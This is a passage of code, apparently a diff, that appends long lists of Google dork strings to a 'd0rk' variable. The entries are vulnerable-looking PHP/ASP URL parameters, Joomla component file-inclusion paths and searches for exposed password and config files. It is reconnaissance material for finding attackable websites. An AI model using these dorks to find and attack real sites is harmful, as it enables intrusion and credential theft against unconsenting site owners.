'shopremoveitem.php?cartid' ]
+d0rk += [ 'shopreviewadd.asp?id', 'shopreviewadd.cfm?id', 'shopreviewadd.php?id', 'shopreviewlist.asp?id', 'shopreviewlist.cfm?id', 'shopreviewlist.php?id', 'shoptellafriend.asp?id', 'shoptellafriend.cfm?id', 'shoptellafriend.php?id', 'shopthanks.asp', 'shopthanks.cfm', 'shopthanks.php', 'shopwelcome.asp?title', 'shopwelcome.cfm?title', 'shopwelcome.php?title', 'shoutbox/expanded.php?conf', 'show', 'show.asp?id', 'show.php?abre', 'show.php?adresa', 'show.php?b', 'show.php?basedir', 'show.php?channel', 'show.php?chapter', 'show.php?cmd', 'show.php?corpo', 'show.php?d', 'show.php?disp', 'show.php?filepath', 'show.php?get', 'show.php?go', 'show.php?header', 'show.php?home', 'show.php?id', 'show.php?inc', 'show.php?incl', 'show.php?include', 'show.php?index', 'show.php?ir', 'show.php?item', 'show.php?j', 'show.php?ki', 'show.php?l', 'show.php?left', 'show.php?loader', 'show.php?m', 'show.php?mid', 'show.php?middlePart', 'show.php?modo', 'show.php?module', 'show.php?my', 'show.php?n', 'show.php?nivel', 'show.php?oldal', 'show.php?page', 'show.php?page1php?page1', 'show.php?pageweb', 'show.php?pagina', 'show.php?param', 'show.php?path', 'show.php?play', 'show.php?pname', 'show.php?pre', 'show.php?productphp?product', 'show.php?productshow.php?product', 'show.php?qry', 'show.php?r', 'show.php?read', 'show.php?recipe', 'show.php?redirect', 'show.php?root', 'show.php?seccion', 'show.php?second', 'show.php?sp', 'show.php?thispage', 'show.php?to', 'show.php?type', 'show.php?x', 'show.php?xlink', 'show.php?z', 'showPage.php?type', 'showStore.asp?catID', 'showStore.cfm?catID', 'showStore.php?catID', 'showan.php?id', 'showbook.asp?bookid', 'showbook.asp?id', 'showbook.cfm?bookid', 'showbook.php?bookid', 'showbook.php?id', 'showbug.cgi?id', 'showcode.asp', 'showcv.php?id', 'showfeature.asp?id', 'showfeature.php?id', 'showfile', 'showimg.php?id', 'showitem.asp?id', 'showitem.cfm?id', 'showitem.php?id', 'showitemdetails.asp?itemid', 'showitemdetails.cfm?itemid', 'showitemdetails.php?itemid', 'showmedia.php?id', 'shownews.php?cutepath', 'shownews.php?id', 'showprod.php?p', 'showproduct.asp?cat', 'showproduct.asp?prodid', 'showproduct.asp?productId', 'showproduct.php?cat', 'showproduct.php?prodid', 'showproduct.php?productId', 'showproducts.php?cid', 'showsub.asp?id', 'showsub.php?id', 'showthread.php?p', 'showthread.php?t', 'showthread.php?tid', 'showupload.php?id', 'shprodde.asp?SKU', 'shprodde.cfm?SKU', 'shprodde.php?SKU', 'shreddercategories.php?id', 'shtml.dll', 'shtml.exe', 'side', 'side.php?arqphp?arq', 'side.php?tablephp?table', 'side.php?visphp?vis', 'side.php?visside.php?vis', 'signeddetails.php?id', 'signinfiletypeurl', 'sinarea.asp?areaid', 'sinarea.php?areaid', 'sinformer/n/imprimer.asp?id', 'sinformer/n/imprimer.php?id', 'singer/detail.asp?siteid', 'singer/detail.php?siteid', 'site.asp?id', 'site.php?arqphp?arq', 'site.php?id', 'site.php?meiophp?meio', 'site.php?tablephp?table', 'site/?details&prodid', 'site/cat.php?setlang', 'site/catalog.php?cid', 'site/catalog.php?pid', 'site/en/listservice.asp?cat', 'site/en/listservice.php?cat', 'site/marketingarticle.php?id', 'site/products.asp?prodid', 'site/products.php?prodid', 'site/public/newsitem.php?newsID', 'site/view8b.php?id', 'siteadministrationpleaseloginsitedesignedbyemarketsouth', 'sitebuildercontent', 'sitebuilderfiles', 'sitebuilderpictures', 'siteeduadmingrades', 'sitehp.netThePHPGroupsourceurlextHp', 'siteid', 'siteinfoforEnterAdminPassword', 'sitelist.php?sort', 'sitenetcraft.comThat.Site.RunningApache', 'sitephp.netThePHPGroupsourceurlextpHp', 'sitescope.htmlsitescopeintextrefreshdemo', 'sitewww.mailinator.comShowMail.do', 'sitio.php?abre', 'sitio.php?addr', 'sitio.php?body', 'sitio.php?category', 'sitio.php?chapter', 'sitio.php?content', 'sitio.php?destino', 'sitio.php?disp', 'sitio.php?doshow', 'sitio.php?e', 'sitio.php?ev', 'sitio.php?get', 'sitio.php?go', 'sitio.php?goFile', 'sitio.php?inc', 'sitio.php?incl', 'sitio.php?index', 'sitio.php?ir', 'sitio.php?left', 'sitio.php?menu', 'sitio.php?menue', 'sitio.php?mid', 'sitio.php?middlePart', 'sitio.php?modo', 'sitio.php?name', 'sitio.php?nivel', 'sitio.php?oldal', 'sitio.php?opcion', 'sitio.php?option', 'sitio.php?pageweb', 'sitio.php?param', 'sitio.php?pg', 'sitio.php?pr', 'sitio.php?qry', 'sitio.php?r', 'sitio.php?read', 'sitio.php?recipe', 'sitio.php?redirect', 'sitio.php?root', 'sitio.php?rub', 'sitio.php?sec', 'sitio.php?secao', 'sitio.php?secc', 'sitio.php?section', 'sitio.php?sivu', 'sitio.php?sp', 'sitio.php?start', 'sitio.php?strona', 'sitio.php?t', 'sitio.php?texto', 'sitio.php?tipo', 'sitio/item.asp?idcd', 'sitio/item.php?idcd', 'skin', 'skins/advanced/advanced1.php?pluginpath[0]', 'skins/advanced/advanced1.php?pluginpath[0]Sabdrimer', 'skins/advanced/advanced1.php?pluginpath[0]SabdrimerCMS', 'skins/advanced/advanced1.php?pluginpath[0]skins/advanced/advanced1.php?pluginpath[0]CMS', 'skins/advanced/advanced1.php?pluginpath[0]skins/advanced/advanced1.php?pluginpath[0]SabdrimerCMS', 'skunkworks/content.asp?id', 'skunkworks/content.php?id', 'slapd.confintextcredentialsmanpageManualPagemansample' ] 
+d0rk += [ 'slapd.confintextrootpwmanpageManualPagemansample', 'smartyconfig.php?rootdir', 'smartyconfig.php?rootdirsmarty', 'smb.confintextworkgroupfiletypeconfconf', 'snitzforums2000.mdb', 'snitzforums2000.mdbssl.conffiletypeconf', 'socsci/events/fulldetails.asp?id', 'socsci/events/fulldetails.php?id', 'socsci/newsitems/fullstory.asp?id', 'socsci/newsitems/fullstory.php?id', 'soesignaction.php?id', 'software', 'softwarecategories.asp?catid', 'softwarecategories.php?catid', 'solpot.html?body', 'solpot.html?bodyport.php?content', 'solutions/item.php?id', 'song.php?ID', 'source.asp', 'sources/join.php?FORM[url]owned&CONFIG[captcha]1&CONFIG[path]', 'specialoffers/moredetails.php?id', 'specials.asp?id', 'specials.asp?osCsid', 'specials.cfm?id', 'specials.php?id', 'specials.php?osCsid', 'specials/SpecialsPick.php?id', 'specials/nationvdo/showvdo.php?cateid', 'speeddating/booking.php?id', 'sport.asp?revista', 'sport.php?revista', 'sport/sport.php?id', 'spr.php?id', 'spwd.db/passwd', 'sql.php?id', 'ss.php?id', 'ssi', 'ssl.conffiletypeconf', 'staff/publications.asp?sn', 'staff/publications.php?sn', 'staffid', 'stafflist/profile.php?id', 'standard.php?', 'standard.php?[]', 'standard.php?abre', 'standard.php?action', 'standard.php?basedir', 'standard.php?body', 'standard.php?channel', 'standard.php?chapter', 'standard.php?cmd', 'standard.php?cont', 'standard.php?destino', 'standard.php?dir', 'standard.php?e', 'standard.php?ev', 'standard.php?eval', 'standard.php?go', 'standard.php?goFile', 'standard.php?goto', 'standard.php?home', 'standard.php?in', 'standard.php?include', 'standard.php?index', 'standard.php?j', 'standard.php?lang', 'standard.php?link', 'standard.php?menu', 'standard.php?middle', 'standard.php?my', 'standard.php?name', 'standard.php?numero', 'standard.php?oldal', 'standard.php?op', 'standard.php?open', 'standard.php?pagina', 'standard.php?panel', 'standard.php?param', 'standard.php?phpbbrootpath', 'standard.php?pollname', 'standard.php?pr', 'standard.php?pre', 'standard.php?pref', 'standard.php?q', 'standard.php?qry', 'standard.php?ref', 'standard.php?s', 'standard.php?secc', 'standard.php?seccion', 'standard.php?section', 'standard.php?showpage', 'standard.php?sivu', 'standard.php?str', 'standard.php?subject', 'standard.php?url', 'standard.php?var', 'standard.php?viewpage', 'standard.php?w', 'standard.php?where', 'standard.php?xlink', 'standard.php?z', 'start.managing.the.deviceremotepbxacc', 'start.php?abre', 'start.php?addr', 'start.php?adresa', 'start.php?b', 'start.php?basedir', 'start.php?basepath', 'start.php?body', 'start.php?chapter', 'start.php?cmd', 'start.php?corpo', 'start.php?destino', 'start.php?eval', 'start.php?go', 'start.php?header', 'start.php?home', 'start.php?idphp?id', 'start.php?idstart.php?id', 'start.php?in', 'start.php?include', 'start.php?index', 'start.php?ir', 'start.php?lang', 'start.php?langphp?lang', 'start.php?langstart.php?lang', 'start.php?load', 'start.php?loader', 'start.php?mid', 'start.php?modo', 'start.php?modphp?mod', 'start.php?modstart.php?mod', 'start.php?module', 'start.php?name', 'start.php?nivel', 'start.php?o', 'start.php?oldal', 'start.php?op', 'start.php?option', 'start.php?p', 'start.php?pagephp?page', 'start.php?pagestart.php?page', 'start.php?pageweb', 'start.php?pagstart.php?pag', 'start.php?panel', 'start.php?param', 'start.php?pg', 'start.php?pgstart.php?pg', 'start.php?play', 'start.php?pname', 'start.php?pollname', 'start.php?pstart.php?p', 'start.php?root', 'start.php?rub', 'start.php?secao', 'start.php?seccion', 'start.php?seite', 'start.php?showpage', 'start.php?sivu', 'start.php?sp', 'start.php?sphp?s', 'start.php?sstart.php?s', 'start.php?str', 'start.php?strona', 'start.php?thispage', 'start.php?tipo', 'start.php?where', 'start.php?xlink', 'startlobby.php?CONFIG[MWCHATLibs]', 'stat.asp?id', 'stat.htm', 'stat.php?id', 'static', 'static.asp?id', 'static.php?id', 'statisticsofadvancedwebstatistics', 'statrep.nsfgov', 'stats.htm', 'stats.html', 'stats.txt', 'status.cgi?hostall', 'stdetail.php?prodID', 'stepone.php?serverinc', 'steponetables.php?serverinc', 'stockistslist.asp?areaid', 'stockistslist.php?areaid', 'store.asp?catid', 'store.asp?id', 'store.cfm?id', 'store.php?catid', 'store.php?id', 'store/customer/product.php?productid', 'store/default.asp?cPath', 'store/default.php?cPath', 'store/description.asp?iddesc', 'store/description.php?iddesc', 'store/detail.php?prodid', 'store/home.asp?cat', 'store/home.php?cat', 'store/index.asp?catid', 'store/index.php?catid', 'store/item.php?id', 'store/mcart.php?ID', 'store/newsstory.php?id', 'store/product.asp?productid', 'store/product.php?productid', 'store/products.php?catid', 'store/showcat.php?catid', 'store/store.php?catid', 'store/storedetail.php?id', 'store/viewitems.asp?id', 'store/viewitems.php?id', 'storebycat.asp?id', 'storebycat.cfm?id', 'storebycat.php?id', 'storedetail.php?ID', 'storedetails.asp?id', 'storedetails.cfm?id', 'storedetails.php?id', 'storefront.asp?id', 'storefront.cfm?id', 'storefront.php?id', 'storefronts.asp?title', 'storefronts.cfm?title', 'storefronts.php?title', 'storeitem.asp?item' ] 
+d0rk += [ 'storeitem.cfm?item', 'storeitem.php?item', 'storelisting.asp?id', 'storelisting.cfm?id', 'storelisting.php?id', 'storemanager/contents/item.asp?pagecode', 'storemanager/contents/item.php?pagecode', 'storeproddetails.php?ProdID', 'story.asp?id', 'story.php?id', 'str', 'str.php?langstr.php?lang', 'str.php?lnstr.php?ln', 'str.php?lstr.php?l', 'str.php?pagestr.php?page', 'str.php?pstr.php?p', 'strona', 'sub', 'sub.php?', 'sub.php?OpenPage', 'sub.php?[]', 'sub.php?abre', 'sub.php?action', 'sub.php?adresa', 'sub.php?b', 'sub.php?basedir', 'sub.php?basepath', 'sub.php?body', 'sub.php?category', 'sub.php?channel', 'sub.php?chapter', 'sub.php?cont', 'sub.php?content', 'sub.php?corpo', 'sub.php?destino', 'sub.php?g', 'sub.php?go', 'sub.php?goFile', 'sub.php?header', 'sub.php?id', 'sub.php?include', 'sub.php?ir', 'sub.php?itemnav', 'sub.php?j', 'sub.php?k', 'sub.php?lang', 'sub.php?left', 'sub.php?link', 'sub.php?load', 'sub.php?menue', 'sub.php?menusub.php?menu', 'sub.php?mid', 'sub.php?middle', 'sub.php?mod', 'sub.php?modo', 'sub.php?module', 'sub.php?my', 'sub.php?name', 'sub.php?oldal', 'sub.php?op', 'sub.php?open', 'sub.php?option', 'sub.php?pa', 'sub.php?pag', 'sub.php?panel', 'sub.php?path', 'sub.php?phpbbrootpath', 'sub.php?play', 'sub.php?pname', 'sub.php?pre', 'sub.php?qry', 'sub.php?recipe', 'sub.php?root', 'sub.php?rub', 'sub.php?s', 'sub.php?sec', 'sub.php?secao', 'sub.php?secc', 'sub.php?seite', 'sub.php?sp', 'sub.php?ssub.php?s', 'sub.php?str', 'sub.php?subsub.php?sub', 'sub.php?thispage', 'sub.php?u', 'sub.php?viewpage', 'sub.php?where', 'sub.php?z', 'subcat.php?catID', 'subcategories.asp?id', 'subcategories.cfm?id', 'subcategories.php?id', 'subcategory.php?id', 'subcategorypage.php?id', 'submit.cgi', 'subscribe.pl', 'suffering/newssummpopup.php?newscode', 'summary.asp?PID', 'summary.php?PID', 'sup.php?id', 'superleague/newsitem.php?id', 'superlinks/browse.php?id', 'supervisioncamprotocol', 'support', 'support/mailling/maillist/inc/initdb.php?absolutepath', 'supportpage.cgi?filename', 'supportpage.cgi?filenameindex.php?include', 'survey.cgi', 'surveys', 'suse/login.pl', 'swcomment.php?id', 'switchloginIBMFastEthernetDesktop', 'sysinfointextGeneratedbySysinfowrittenbyTheGamblers.', 'tak/index.php?module', 'tales.php?id', 'tas/event.asp?id', 'tas/event.php?id', 'task.php?taskphp?task', 'task.php?tasktask.php?task', 'tdbin', 'teamspeakserveradministration', 'tecdaten/showdetail.asp?prodid', 'tecdaten/showdetail.php?prodid', 'tek9.asp?', 'tek9.cfm?', 'tek9.php?', 'tekken5/movelist.php?id', 'tekst.php?idt', 'template.asp?ActionItem&pid', 'template.cfm?ActionItem&pid', 'template.php?', 'template.php?ActionItem&pid', 'template.php?ID', 'template.php?[]', 'template.php?a', 'template.php?addr', 'template.php?basedir', 'template.php?basepath', 'template.php?c', 'template.php?choix', 'template.php?cont', 'template.php?content', 'template.php?corpo', 'template.php?dir', 'template.php?doshow', 'template.php?e', 'template.php?f', 'template.php?goto', 'template.php?h', 'template.php?header', 'template.php?ir', 'template.php?k', 'template.php?lang', 'template.php?left', 'template.php?load', 'template.php?menue', 'template.php?mid', 'template.php?mod', 'template.php?name', 'template.php?nivel', 'template.php?op', 'template.php?opcion', 'template.php?pag', 'template.php?page', 'template.php?page/template.php?pagephp', 'template.php?pagina', 'template.php?panel', 'template.php?param', 'template.php?path', 'template.php?play', 'template.php?pre', 'template.php?qry', 'template.php?ref', 'template.php?s', 'template.php?secao', 'template.php?second', 'template.php?section', 'template.php?seite', 'template.php?sekce', 'template.php?showpage', 'template.php?sp', 'template.php?str', 'template.php?t', 'template.php?texto', 'template.php?thispage', 'template.php?tipo', 'template.php?viewpage', 'template.php?where', 'template.php?y', 'template1.php?id', 'templet.asp?acticleid', 'templet.php?acticleid', 'test.bat', 'test.cgi', 'test.php?page', 'testcgi', 'testcgixitami', 'textpattern/index.php', 'theatershow.php?id', 'theme.php?THEMEDIR', 'theme.php?id', 'thingstodo/detail.asp?id', 'thingstodo/detail.php?id', 'thisproxyisworkingfine!enterURLvisit', 'thread.php/id', 'title.php?id', 'today.asp?eventid', 'today.php?eventid', 'tools/print.asp?id', 'tools/print.php?id', 'tools/sendreminders.php?includedir', 'tools/toolscat.php?c', 'top/store.php?catid', 'top10.php?cat', 'topic.asp?ID', 'topic.cfm?ID', 'topic.php?ID', 'topsecretsitemil', 'touchy/home.php?cat', 'tour.php?id', 'tourdetail.php?id', 'tourism/details.php?id', 'toynbeestudios/content.asp?id', 'toynbeestudios/content.php?id', 'trackback.php?id', 'trade/listings.php?Id', 'tradeCategory.php?id', 'trailer.asp?id', 'trailer.php?id', 'trailerdetail.php?id', 'trainers.php?id', 'trans.php?transphp?trans', 'trans.php?transtrans.php?trans', 'transcript.php?id', 'tresc', 'trillian.ini', 'trvltime.php?id', 'ttawlogin.cgi/?action', 'tuangou.asp?bookid', 'tuangou.cfm?bookid', 'tuangou.php?bookid', 'tutorial.php?articleid', 'tutorials/view.php?id', 'twikiTWikiUsers', 'type.asp?iType', 'type.cfm?iType' ] 
+d0rk += [ 'type.php?iType', 'typedatabashcommandprompt;usernames', 'typo3/index.php?udemo', 'ultraboard.cgi', 'unionselectSHOP', 'unionselectadmin', 'unionselectfrom', 'unionselectpass', 'unknown.soldier', 'updatebasket.asp?bookid', 'updatebasket.cfm?bookid', 'updatebasket.php?bookid', 'updates.asp?ID', 'updates.cfm?ID', 'updates.php?ID', 'upgradealbum.php?GERYBASEDIR', 'upload.asp', 'urchin5|3|adminextcgi', 'url', 'usar/productDetail.php?prodID', 'usb/devices/showdev.asp?id', 'usb/devices/showdev.php?id', 'used/cardetails.php?id', 'usedtodiscoverusernames', 'user', 'user/AboutAwardsDetail.php?ID', 'user0x3apass', 'userlist', 'users.pwd', 'users/view.php?id', 'usysinfo?logintrue', 'utilities/TreeView.asp', 'v/showthread.php?t', 'vBulletinVersion1.1.5', 'vBulletinVersion1.1.5�', 'vb/showthread.php?p', 'vb/showthread.php?t', 'vbstats.phppagegenerated', 'ventrilosrv.iniadminpassword', 'venuedetails.php?id', 'veranstaltungen/detail.asp?id', 'veranstaltungen/detail.php?id', 'version0x3adatabse', 'vhostintextvHost.20002004', 'vhostintextvHost.20002004�', 'video.php?content', 'video.php?id', 'videos/view.php?id', 'view.asp?cid', 'view.asp?id', 'view.asp?pageNumrscomp', 'view.cfm?cid', 'view.php?', 'view.php?[]', 'view.php?adresa', 'view.php?b', 'view.php?body', 'view.php?channel', 'view.php?chapter', 'view.php?choix', 'view.php?cid', 'view.php?cmd', 'view.php?content', 'view.php?disp', 'view.php?get', 'view.php?go', 'view.php?goFile', 'view.php?goto', 'view.php?header', 'view.php?id', 'view.php?incl', 'view.php?ir', 'view.php?ki', 'view.php?lang', 'view.php?load', 'view.php?loader', 'view.php?mid', 'view.php?middle', 'view.php?mod', 'view.php?oldal', 'view.php?option', 'view.php?pag', 'view.php?page', 'view.php?pageNumrscomp', 'view.php?panel', 'view.php?pg', 'view.php?phpbbrootpath', 'view.php?pollname', 'view.php?pr', 'view.php?qry', 'view.php?recipe', 'view.php?redirect', 'view.php?rootdir', 'view.php?sec', 'view.php?secao', 'view.php?seccion', 'view.php?second', 'view.php?seite', 'view.php?showpage', 'view.php?sp', 'view.php?str', 'view.php?subview.php?sub', 'view.php?tablephp?table', 'view.php?to', 'view.php?type', 'view.php?u', 'view.php?userid', 'view.php?var', 'view.php?vid', 'view.php?where', 'view/7/9628/1.html?reply', 'view/index.shtml', 'view/indexFrame.shtml', 'view/view.shtml', 'viewCart.asp?userID', 'viewCart.cfm?userID', 'viewCart.php?userID', 'viewCath.asp?idCategory', 'viewCath.cfm?idCategory', 'viewCath.php?idCategory', 'viewPrd.asp?idcategory', 'viewPrd.cfm?idcategory', 'viewPrd.php?idcategory', 'viewapp.asp?id', 'viewapp.php?id', 'viewarticle.php?id', 'viewauthor.asp?id', 'viewauthor.php?id', 'viewcart.asp?CartId', 'viewcart.asp?title', 'viewcart.cfm?CartId', 'viewcart.cfm?title', 'viewcart.php?CartId', 'viewcart.php?title', 'viewcompany.php?id', 'viewdetail.asp?ID', 'viewdetail.cfm?ID', 'viewdetail.php?ID', 'viewevent.asp?EventID', 'viewevent.asp?id', 'viewevent.cfm?EventID', 'viewevent.php?EventID', 'viewevent.php?eid', 'viewevent.php?id', 'viewfaq.php?id', 'viewgantt.php?rootdir', 'viewitem.asp?id', 'viewitem.asp?item', 'viewitem.asp?recor', 'viewitem.cfm?recor', 'viewitem.php?id', 'viewitem.php?item', 'viewitem.php?recor', 'viewitems.asp?id', 'viewitems.php?id', 'viewmedia.php?prmMID', 'viewnewsletter.asp?id', 'viewnewsletter.php?id', 'viewphoto.php?id', 'viewproduct.php?id', 'viewproduct.php?prod', 'viewproducts.php?id', 'viewprofile.php?id', 'viewratings.php?cid', 'viewshowdetail.php?id', 'viewsongs.php?catid', 'viewsource', 'viewstore.php?catid', 'viewthread.asp?tid', 'viewthread.php?tid', 'viewtopic.php?id', 'viewtopic.php?pid', 'villadetail.php?id', 'voir.php?incphp?inc', 'volunteers/item.php?id', 'vote.pl?actionshow&id', 'voteList.asp?itemID', 'voteList.cfm?itemID', 'voteList.php?itemID', 'vsadmin/login|vsadmin/admin.php|.asp', 'vtiinf.html', 'vtund.confintextpasscvs', 'vtund.confintextpasscvss', 'vwfiles.php?rootdir', 'w3msql', 'wais.pl', 'wampdir/setup/yesno.phtml?nourl', 'wampdir/setup/yesno.phtml?nourlsetup', 'warningerroronlinephpsablotron', 'wayboard.cgi', 'wbemcompaqlogin', 'wbemcompaqloginCompaqInformationTechnologiesGroup', 'web', 'webaccess.htm', 'webalizerfiletypepng.gov.edu.milopendarwin', 'webcyradm|byLucdeLouwThisisonlyforauthorizeduserstar.gzsitewebcyradm.org', 'webdist.cgi', 'webdriver', 'webgais', 'webmail./index.plInterface', 'webpage.cgi', 'websendmail', 'webserverstatusSSHTelnet', 'website.php?id', 'webstore.cgi', 'webutil.pl', 'webvpn.htmlloginPleaseenteryour', 'weekly/story.php?storyid', 'welcome.to.squeezebox', 'welcometonetwaresitenovell.com', 'werbungFrame.php?dophp?do', 'whatelieveb.php?id', 'whatsnew.asp?idCategory', 'whatsnew.cfm?idCategory', 'whatsnew.php?idCategory', 'where/details.php?id', 'whereami.cgi?gid', 'whereami.cgi?gidauktion.pl?menue', 'whereusernamepassword', 'wiki/pmwiki.asp?page', 'wiki/pmwiki.php?page', 'word.php?id', 'worklog/task.php?id', 'workshopview.php?id', 'worthies/details.php?id', 'wpmail.phpTheredoesntseemtobeanynewmail.', 'wpmail.phpTheredoesn�tseemtobeanynewmail.', 'wrap', 'write.php?dir', 'wvdial.confintextpassword', 'wwdsemea/default.asp?ID' ] 
+d0rk += [ 'www/index.asp?page', 'www/index.php?page', 'wwwboard.pl', 'wwwboardWebAdminpasswd.txtwwwboard|webadmin', 'wwwroot/', 'wwwroot/.', 'wwwsql', 'wwwstats.html', 'x/product.php?productid', 'xampp/phpinfo', 'xams0.0.0..15Login', 'xcart/home.php?cat', 'xcart/product.php?productid', 'yabbse/Sources/Packages.php?sourcedir', 'yachtsearch/yachtview.asp?pid', 'yachtsearch/yachtview.php?pid', 'yahoobyKietu?v3.2', 'yapbozdetay.aspViewWebcamUserAccessing', 'yarndetail.php?id', 'youcannowpassword|thisisaspecialpageonlyseenbyyou.yourprofilevisitorsimchaos', 'yourpasswordisfiletypelog', 'zb/view.asp?uid', 'zb/view.php?uid', 'zboard/zboard.php', 'zebra.confintextpasswordsampletesttutorialdownload', 'zentrack/index.php?configFile', 'zine/board.asp?board', 'zine/board.php?board' ]
+d0rk += [ '/administrator/components/comjcs/view/register.php?mosConfigabsolutepath', '/administrator/components/comjoom12pic/admin.joom12pic.php?mosConfiglivesite', '/administrator/components/comjoomlaradiov5/admin.joomlaradiov5.php?mosConfiglivesite', '/administrator/components/comlinkdirectory/toolbar.linkdirectory.html.php?mosConfigabsolutepath', '/administrator/components/commgm/help.mgm.php?mosConfigabsolutepath', '/administrator/components/compeoplebook/param.peoplebook.php?mosConfigabsolutepath', '/administrator/components/comremository/admin.remository.php?mosConfigabsolutepath', '/administrator/components/comring/admin.ring.docs.php?componentdir', '/administrator/components/comserverstat/inst.serverstat.php?mosConfigabsolutepath', '/administrator/components/comserverstat/inst.serverstat.php?mosConfigabsolutepathcomserverstat', '/administrator/components/comserverstat/install.serverstat.php?mosConfigabsolutepath', '/administrator/components/comuhp/uhpconfig.php?mosConfigabsolutepath', '/adminmodules/adminmoduledeldir.inc.php?config[pathsrcinclude]', '/afb3beta20070828/includes/settings.inc.php?approot', '/agendax/addevent.inc.php?agendaxpath', '/akocomments.php?mosConfigabsolutepath', '/albumportal.php?phpbbrootpath', '/alinitialize.php?alpath', '/all.php?', '/all.php?PageID', '/all.php?REQUEST&REQUEST[option]comcontent&REQUEST[Itemid]1&GLOBALS&mosConfigabsolutepath', '/all.php?S', '/all.php?a', '/all.php?abrir', '/all.php?act', '/all.php?action', '/all.php?ad', '/all.php?archive', '/all.php?area', '/all.php?article', '/all.php?b', '/all.php?back', '/all.php?base', '/all.php?basedir', '/all.php?bbs', '/all.php?boardno', '/all.php?c', '/all.php?caldir', '/all.php?cat', '/all.php?category', '/all.php?choice', '/all.php?class', '/all.php?clubid', '/all.php?cod', '/all.php?cod.tipo', '/all.php?conf', '/all.php?configFile', '/all.php?cont', '/all.php?corpo', '/all.php?cvsroot', '/all.php?d', '/all.php?da', '/all.php?date', '/all.php?debug', '/all.php?debut', '/all.php?default', '/all.php?destino', '/all.php?dir', '/all.php?display', '/all.php?east', '/all.php?f', '/all.php?fcontent', '/all.php?file', '/all.php?fileid', '/all.php?filepath', '/all.php?flash', '/all.php?folder', '/all.php?for', '/all.php?form', '/all.php?formatword', '/all.php?from', '/all.php?funcao', '/all.php?function', '/all.php?g', '/all.php?get', '/all.php?go', '/all.php?gorumDir', '/all.php?goto', '/all.php?h', '/all.php?headline', '/all.php?i', '/all.php?inc', '/all.php?include', '/all.php?includedir', '/all.php?inter', '/all.php?itemid', '/all.php?j', '/all.php?join', '/all.php?jojo', '/all.php?l', '/all.php?la', '/all.php?lan', '/all.php?lang', '/all.php?lest', '/all.php?link', '/all.php?load', '/all.php?loc', '/all.php?m', '/all.php?main', '/all.php?meio', '/all.php?meio.php', '/all.php?menu', '/all.php?menuID', '/all.php?mep', '/all.php?mid', '/all.php?month', '/all.php?mostra', '/all.php?my', '/all.php?n', '/all.php?nav', '/all.php?new', '/all.php?news', '/all.php?next', '/all.php?nextpage', '/all.php?o', '/all.php?op', '/all.php?open', '/all.php?option', '/all.php?origem', '/all.php?p', '/all.php?pageurl', '/all.php?para', '/all.php?part', '/all.php?perm', '/all.php?pg', '/all.php?pid', '/all.php?place', '/all.php?play', '/all.php?plugin', '/all.php?pmpath', '/all.php?poll', '/all.php?post', '/all.php?pr', '/all.php?prefix', '/all.php?prefixo', '/all.php?q', '/all.php?redirect', '/all.php?ref', '/all.php?refid', '/all.php?regionId', '/all.php?release', '/all.php?releaseid', '/all.php?return', '/all.php?root', '/all.php?searchcodeid', '/all.php?sec', '/all.php?secao', '/all.php?sect', '/all.php?sel', '/all.php?server', '/all.php?servico', '/all.php?sg', '/all.php?shard', '/all.php?show', '/all.php?sid', '/all.php?site', '/all.php?sourcedir', '/all.php?start', '/all.php?storyid', '/all.php?str', '/all.php?subd', '/all.php?subdir', '/all.php?subject', '/all.php?sufixo', '/all.php?systempath', '/all.php?t', '/all.php?task', '/all.php?teste', '/all.php?themedir', '/all.php?threadid', '/all.php?tid', '/all.php?title', '/all.php?to', '/all.php?topicid', '/all.php?type', '/all.php?u', '/all.php?url', '/all.php?urlFrom', '/all.php?v', '/all.php?var', '/all.php?vi', '/all.php?view', '/all.php?visual', '/all.php?wPage', '/all.php?y', '/all.php?z', '/all.php?zo', '/all/include/init.inc.php?CPGMDIR', '/all/includes/mxfunctionsch.php?phpbbrootpath', '/all/modules/AllMyGuests/signin.php?AMGconfig[cfgserverpath]', '/all/newbb/print.php?forumtopicid', '/all/newbbplus/', '/all/news/archive.php?opyearmonth', '/all/tsep/include/colorswitch.php?tsepconfig[absPath]', '/allPackages.php?sourcedir', '/alladdedit.php?rootdir', '/alladdevent.inc.php?agendaxpath', '/alladmin.php?caldir', '/allaffich.php?base', '/allalbumportal.php?phpbbrootpath', '/allcomextendedregistration', '/allcontacts.php?caldir', '/allconvertdate.php?caldir', '/alldefault.php?page', '/alldefault/theme.php?THEMEDIR', '/alldisplayCategory.php?basepath', '/alleditor.php?root', '/allexibir.php?abre', '/allexibir.php?get', '/allexibir.php?lang', '/allexibir.php?p', '/allexibir.php?page', ]
+d0rk += [ '/allexpanded.php?conf', '/allfunctions.php?prefix', '/allgrademade/index.php?page', '/allheader.php?systempath', '/allinclude.php?gorumDir', '/allindex.php?a', '/allindex.php?acao', '/allindex.php?action', '/allindex.php?b', '/allindex.php?c', '/allindex.php?cal', '/allindex.php?configFile', '/allindex.php?d', '/allindex.php?directfile', '/allindex.php?e', '/allindex.php?f', '/allindex.php?funcion', '/allindex.php?g', '/allindex.php?gorumdir', '/allindex.php?h', '/allindex.php?i', '/allindex.php?include', '/allindex.php?ir', '/allindex.php?j', '/allindex.php?k', '/allindex.php?l', '/allindex.php?ll', '/allindex.php?lng./../include/main.inc&GPATH', '/allindex.php?lnk', '/allindex.php?loc', '/allindex.php?lv1', '/allindex.php?m', '/allindex.php?meio.php', '/allindex.php?middle', '/allindex.php?n', '/allindex.php?o', '/allindex.php?open', '/allindex.php?p', '/allindex.php?page', '/allindex.php?pageurl', '/allindex.php?path', '/allindex.php?pg', '/allindex.php?prefix', '/allindex.php?q', '/allindex.php?r', '/allindex.php?rootPATH', '/allindex.php?s', '/allindex.php?secao', '/allindex.php?seite', '/allindex.php?server', '/allindex.php?sub', '/allindex.php?sub2', '/allindex.php?t', '/allindex.php?theme', '/allindex.php?u', '/allindex.php?v', '/allindex.php?visualizar', '/allindex.php?x', '/allindex.php?y', '/allindex.php?z', '/allindex2.php?', '/allindex2.php?a', '/allindex2.php?acao', '/allindex2.php?b', '/allindex2.php?c', '/allindex2.php?cal', '/allindex2.php?cont', '/allindex2.php?content', '/allindex2.php?d', '/allindex2.php?directfile', '/allindex2.php?e', '/allindex2.php?f', '/allindex2.php?funcion', '/allindex2.php?g', '/allindex2.php?gorumdir', '/allindex2.php?h', '/allindex2.php?i', '/allindex2.php?j', '/allindex2.php?k', '/allindex2.php?l', '/allindex2.php?lang', '/allindex2.php?ll', '/allindex2.php?lnk', '/allindex2.php?lv1', '/allindex2.php?m', '/allindex2.php?n', '/allindex2.php?o', '/allindex2.php?p', '/allindex2.php?pag', '/allindex2.php?path', '/allindex2.php?pg', '/allindex2.php?prefix', '/allindex2.php?q', 